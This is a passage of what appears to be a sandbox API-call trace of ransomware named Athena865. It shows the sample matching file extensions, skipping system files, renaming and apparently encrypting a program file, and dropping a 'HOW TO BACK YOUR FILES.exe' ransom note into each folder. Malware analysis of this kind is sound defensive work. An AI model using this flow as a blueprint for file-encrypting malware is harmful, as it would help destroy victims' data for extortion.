(lpString1="exe", lpString2="nv2") returned -1 [0108.350] lstrlenW (lpString="nwdb") returned 4 [0108.350] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0108.350] lstrlenW (lpString="nyf") returned 3 [0108.350] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0108.350] lstrlenW (lpString="odb") returned 3 [0108.350] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0108.350] lstrlenW (lpString="odb") returned 3 [0108.350] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0108.350] lstrlenW (lpString="oqy") returned 3 [0108.350] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0108.350] lstrlenW (lpString="ora") returned 3 [0108.350] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0108.350] lstrlenW (lpString="orx") returned 3 [0108.350] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0108.350] lstrlenW (lpString="owc") returned 3 [0108.350] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0108.350] lstrlenW (lpString="p96") returned 3 [0108.350] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0108.350] lstrlenW (lpString="p97") returned 3 [0108.350] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0108.350] lstrlenW (lpString="pan") returned 3 [0108.350] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0108.350] lstrlenW (lpString="pdb") returned 3 [0108.350] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0108.350] lstrlenW (lpString="pdm") returned 3 [0108.350] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0108.350] lstrlenW (lpString="pnz") returned 3 [0108.351] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0108.351] lstrlenW (lpString="qry") returned 3 [0108.351] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0108.351] lstrlenW (lpString="qvd") returned 3 [0108.351] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0108.351] lstrlenW (lpString="rbf") returned 3 [0108.351] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0108.351] lstrlenW (lpString="rctd") returned 4 [0108.351] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0108.351] lstrlenW (lpString="rod") returned 3 [0108.351] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0108.351] lstrlenW (lpString="rodx") returned 4 [0108.351] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0108.351] lstrlenW (lpString="rpd") returned 3 [0108.351] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0108.351] lstrlenW (lpString="rsd") returned 3 [0108.351] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0108.351] lstrlenW (lpString="sas7bdat") returned 8 [0108.351] lstrcmpiW (lpString1="tore.exe", lpString2="sas7bdat") returned 1 [0108.351] lstrlenW (lpString="sbf") returned 3 [0108.351] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0108.351] lstrlenW (lpString="scx") returned 3 [0108.351] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0108.351] lstrlenW (lpString="sdb") returned 3 [0108.351] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0108.351] lstrlenW (lpString="sdc") returned 3 [0108.351] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0108.351] lstrlenW (lpString="sdf") returned 3 [0108.351] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0108.351] lstrlenW (lpString="sis") returned 3 [0108.351] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0108.351] lstrlenW (lpString="spq") returned 3 [0108.351] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0108.351] lstrlenW (lpString="te") returned 2 [0108.352] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0108.352] lstrlenW (lpString="teacher") returned 7 [0108.352] lstrcmpiW (lpString1="ore.exe", lpString2="teacher") returned -1 [0108.352] lstrlenW (lpString="tmd") returned 3 [0108.352] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0108.352] lstrlenW (lpString="tps") returned 3 [0108.352] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0108.352] lstrlenW (lpString="trc") returned 3 [0108.352] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0108.352] lstrlenW (lpString="trc") returned 3 [0108.352] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0108.352] lstrlenW (lpString="trm") returned 3 [0108.352] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0108.352] lstrlenW (lpString="udb") returned 3 [0108.352] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0108.352] lstrlenW (lpString="udl") returned 3 [0108.352] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0108.352] lstrlenW (lpString="usr") returned 3 [0108.352] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0108.352] lstrlenW (lpString="v12") returned 3 [0108.352] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0108.352] lstrlenW (lpString="vis") returned 3 [0108.352] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0108.352] lstrlenW (lpString="vpd") returned 3 [0108.352] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0108.352] lstrlenW (lpString="vvv") returned 3 [0108.352] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0108.352] lstrlenW (lpString="wdb") returned 3 [0108.352] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0108.352] lstrlenW (lpString="wmdb") returned 4 [0108.352] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0108.352] lstrlenW (lpString="wrk") returned 3 [0108.352] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0108.353] lstrlenW (lpString="xdb") returned 3 [0108.353] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0108.353] lstrlenW (lpString="xld") returned 3 [0108.353] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0108.353] lstrlenW (lpString="xmlff") returned 5 [0108.353] lstrcmpiW (lpString1="e.exe", lpString2="xmlff") returned -1 [0108.353] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.Athena865") returned 80 [0108.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.athena865"), dwFlags=0x1) returned 1 [0108.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0108.354] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=193024) returned 1 [0108.354] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0108.354] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0108.354] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0108.355] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0108.355] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0108.355] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.355] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f500, lpName=0x0) returned 0x17c [0108.357] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2f500) returned 0x170000 [0108.367] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0108.367] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0108.367] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0108.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0108.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0108.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0108.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0108.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0108.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0108.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0108.368] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0108.370] CloseHandle (hObject=0x17c) returned 1 [0108.370] CloseHandle (hObject=0x154) returned 1 [0108.370] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0108.370] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0108.370] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0108.371] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0108.371] lstrcmpiW (lpString1="cs-CZ", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.371] lstrcmpiW (lpString1="cs-CZ", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0108.371] lstrcmpiW (lpString1="cs-CZ", lpString2=".") returned 1 [0108.371] lstrcmpiW (lpString1="cs-CZ", lpString2="..") returned 1 [0108.371] lstrcmpiW (lpString1="cs-CZ", lpString2="windows") returned -1 [0108.371] lstrcmpiW (lpString1="cs-CZ", lpString2="bootmgr") returned 1 [0108.371] lstrcmpiW (lpString1="cs-CZ", lpString2="temp") returned -1 [0108.371] lstrcmpiW (lpString1="cs-CZ", lpString2="pagefile.sys") returned -1 [0108.371] lstrcmpiW (lpString1="cs-CZ", lpString2="boot") returned 1 [0108.371] lstrcmpiW (lpString1="cs-CZ", lpString2="ids.txt") returned -1 [0108.371] lstrcmpiW (lpString1="cs-CZ", lpString2="ntuser.dat") returned -1 [0108.371] lstrcmpiW (lpString1="cs-CZ", lpString2="perflogs") returned -1 [0108.371] lstrcmpiW (lpString1="cs-CZ", lpString2="MSBuild") returned -1 [0108.371] lstrlenW (lpString="cs-CZ") returned 5 [0108.371] lstrcpyW (in: lpString1=0x241e8ae, lpString2="cs-CZ" | out: lpString1="cs-CZ") returned="cs-CZ" [0108.371] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f610 [0108.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x5027a8 [0108.372] lstrcatW (in: lpString1="cs-CZ", lpString2="\\" | out: lpString1="cs-CZ\\") returned="cs-CZ\\" [0108.372] lstrcatW (in: lpString1="cs-CZ\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="cs-CZ\\HOW TO BACK YOUR FILES.exe") returned="cs-CZ\\HOW TO BACK YOUR FILES.exe" [0108.372] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.374] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0108.374] lstrcmpiW (lpString1="da-DK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.374] lstrcmpiW (lpString1="da-DK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.374] lstrcmpiW (lpString1="da-DK", lpString2=".") returned 1 [0108.374] lstrcmpiW (lpString1="da-DK", lpString2="..") returned 1 [0108.374] lstrcmpiW (lpString1="da-DK", lpString2="windows") returned -1 [0108.374] lstrcmpiW (lpString1="da-DK", lpString2="bootmgr") returned 1 [0108.374] lstrcmpiW (lpString1="da-DK", lpString2="temp") returned -1 [0108.374] lstrcmpiW (lpString1="da-DK", lpString2="pagefile.sys") returned -1 [0108.374] lstrcmpiW (lpString1="da-DK", lpString2="boot") returned 1 [0108.374] lstrcmpiW (lpString1="da-DK", lpString2="ids.txt") returned -1 [0108.374] lstrcmpiW (lpString1="da-DK", lpString2="ntuser.dat") returned -1 [0108.374] lstrcmpiW (lpString1="da-DK", lpString2="perflogs") returned -1 [0108.374] lstrcmpiW (lpString1="da-DK", lpString2="MSBuild") returned -1 [0108.374] lstrlenW (lpString="da-DK") returned 5 [0108.375] lstrcpyW (in: lpString1=0x241e8ae, lpString2="da-DK" | out: lpString1="da-DK") returned="da-DK" [0108.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f658 [0108.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502728 [0108.375] lstrcatW (in: lpString1="da-DK", lpString2="\\" | out: lpString1="da-DK\\") returned="da-DK\\" [0108.375] lstrcatW (in: lpString1="da-DK\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="da-DK\\HOW TO BACK YOUR FILES.exe") returned="da-DK\\HOW TO BACK YOUR FILES.exe" [0108.375] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.377] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0108.377] lstrcmpiW (lpString1="de-DE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.377] lstrcmpiW (lpString1="de-DE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.377] lstrcmpiW (lpString1="de-DE", lpString2=".") returned 1 [0108.377] lstrcmpiW (lpString1="de-DE", lpString2="..") returned 1 [0108.377] lstrcmpiW (lpString1="de-DE", lpString2="windows") returned -1 [0108.377] lstrcmpiW (lpString1="de-DE", lpString2="bootmgr") returned 1 [0108.377] lstrcmpiW (lpString1="de-DE", lpString2="temp") returned -1 [0108.377] lstrcmpiW (lpString1="de-DE", lpString2="pagefile.sys") returned -1 [0108.378] lstrcmpiW (lpString1="de-DE", lpString2="boot") returned 1 [0108.378] lstrcmpiW (lpString1="de-DE", lpString2="ids.txt") returned -1 [0108.378] lstrcmpiW (lpString1="de-DE", lpString2="ntuser.dat") returned -1 [0108.378] lstrcmpiW (lpString1="de-DE", lpString2="perflogs") returned -1 [0108.378] lstrcmpiW (lpString1="de-DE", lpString2="MSBuild") returned -1 [0108.378] lstrlenW (lpString="de-DE") returned 5 [0108.378] lstrcpyW (in: lpString1=0x241e8ae, lpString2="de-DE" | out: lpString1="de-DE") returned="de-DE" [0108.378] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f670 [0108.378] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x5026a8 [0108.378] lstrcatW (in: lpString1="de-DE", lpString2="\\" | out: lpString1="de-DE\\") returned="de-DE\\" [0108.378] lstrcatW (in: lpString1="de-DE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="de-DE\\HOW TO BACK YOUR FILES.exe") returned="de-DE\\HOW TO BACK YOUR FILES.exe" [0108.378] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.381] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0108.381] lstrcmpiW (lpString1="el-GR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.381] lstrcmpiW (lpString1="el-GR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.381] lstrcmpiW (lpString1="el-GR", lpString2=".") returned 1 [0108.381] lstrcmpiW (lpString1="el-GR", lpString2="..") returned 1 [0108.381] lstrcmpiW (lpString1="el-GR", lpString2="windows") returned -1 [0108.381] lstrcmpiW (lpString1="el-GR", lpString2="bootmgr") returned 1 [0108.381] lstrcmpiW (lpString1="el-GR", lpString2="temp") returned -1 [0108.381] lstrcmpiW (lpString1="el-GR", lpString2="pagefile.sys") returned -1 [0108.381] lstrcmpiW (lpString1="el-GR", lpString2="boot") returned 1 [0108.381] lstrcmpiW (lpString1="el-GR", lpString2="ids.txt") returned -1 [0108.381] lstrcmpiW (lpString1="el-GR", lpString2="ntuser.dat") returned -1 [0108.381] lstrcmpiW (lpString1="el-GR", lpString2="perflogs") returned -1 [0108.381] lstrcmpiW (lpString1="el-GR", lpString2="MSBuild") returned -1 [0108.381] lstrlenW (lpString="el-GR") returned 5 [0108.381] lstrcpyW (in: lpString1=0x241e8ae, lpString2="el-GR" | out: lpString1="el-GR") returned="el-GR" [0108.381] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f6a0 [0108.381] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502628 [0108.381] lstrcatW (in: lpString1="el-GR", lpString2="\\" | out: lpString1="el-GR\\") returned="el-GR\\" [0108.381] lstrcatW (in: lpString1="el-GR\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="el-GR\\HOW TO BACK YOUR FILES.exe") returned="el-GR\\HOW TO BACK YOUR FILES.exe" [0108.382] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.386] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0108.386] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.386] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.386] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0108.386] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0108.386] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0108.386] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0108.386] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0108.386] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0108.386] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0108.386] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0108.386] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0108.386] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0108.386] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0108.387] lstrlenW (lpString="en-US") returned 5 [0108.387] lstrcpyW (in: lpString1=0x241e8ae, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0108.387] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f640 [0108.387] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x5025a8 [0108.387] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0108.387] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0108.387] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.390] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0108.390] lstrcmpiW (lpString1="es-ES", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.390] lstrcmpiW (lpString1="es-ES", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.391] lstrcmpiW (lpString1="es-ES", lpString2=".") returned 1 [0108.391] lstrcmpiW (lpString1="es-ES", lpString2="..") returned 1 [0108.391] lstrcmpiW (lpString1="es-ES", lpString2="windows") returned -1 [0108.391] lstrcmpiW (lpString1="es-ES", lpString2="bootmgr") returned 1 [0108.391] lstrcmpiW (lpString1="es-ES", lpString2="temp") returned -1 [0108.391] lstrcmpiW (lpString1="es-ES", lpString2="pagefile.sys") returned -1 [0108.391] lstrcmpiW (lpString1="es-ES", lpString2="boot") returned 1 [0108.391] lstrcmpiW (lpString1="es-ES", lpString2="ids.txt") returned -1 [0108.391] lstrcmpiW (lpString1="es-ES", lpString2="ntuser.dat") returned -1 [0108.391] lstrcmpiW (lpString1="es-ES", lpString2="perflogs") returned -1 [0108.391] lstrcmpiW (lpString1="es-ES", lpString2="MSBuild") returned -1 [0108.391] lstrlenW (lpString="es-ES") returned 5 [0108.391] lstrcpyW (in: lpString1=0x241e8ae, lpString2="es-ES" | out: lpString1="es-ES") returned="es-ES" [0108.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f628 [0108.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502528 [0108.391] lstrcatW (in: lpString1="es-ES", lpString2="\\" | out: lpString1="es-ES\\") returned="es-ES\\" [0108.391] lstrcatW (in: lpString1="es-ES\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="es-ES\\HOW TO BACK YOUR FILES.exe") returned="es-ES\\HOW TO BACK YOUR FILES.exe" [0108.391] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.394] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0108.394] lstrcmpiW (lpString1="et-EE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.394] lstrcmpiW (lpString1="et-EE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.394] lstrcmpiW (lpString1="et-EE", lpString2=".") returned 1 [0108.394] lstrcmpiW (lpString1="et-EE", lpString2="..") returned 1 [0108.394] lstrcmpiW (lpString1="et-EE", lpString2="windows") returned -1 [0108.394] lstrcmpiW (lpString1="et-EE", lpString2="bootmgr") returned 1 [0108.394] lstrcmpiW (lpString1="et-EE", lpString2="temp") returned -1 [0108.394] lstrcmpiW (lpString1="et-EE", lpString2="pagefile.sys") returned -1 [0108.394] lstrcmpiW (lpString1="et-EE", lpString2="boot") returned 1 [0108.394] lstrcmpiW (lpString1="et-EE", lpString2="ids.txt") returned -1 [0108.394] lstrcmpiW (lpString1="et-EE", lpString2="ntuser.dat") returned -1 [0108.394] lstrcmpiW (lpString1="et-EE", lpString2="perflogs") returned -1 [0108.394] lstrcmpiW (lpString1="et-EE", lpString2="MSBuild") returned -1 [0108.394] lstrlenW (lpString="et-EE") returned 5 [0108.394] lstrcpyW (in: lpString1=0x241e8ae, lpString2="et-EE" | out: lpString1="et-EE") 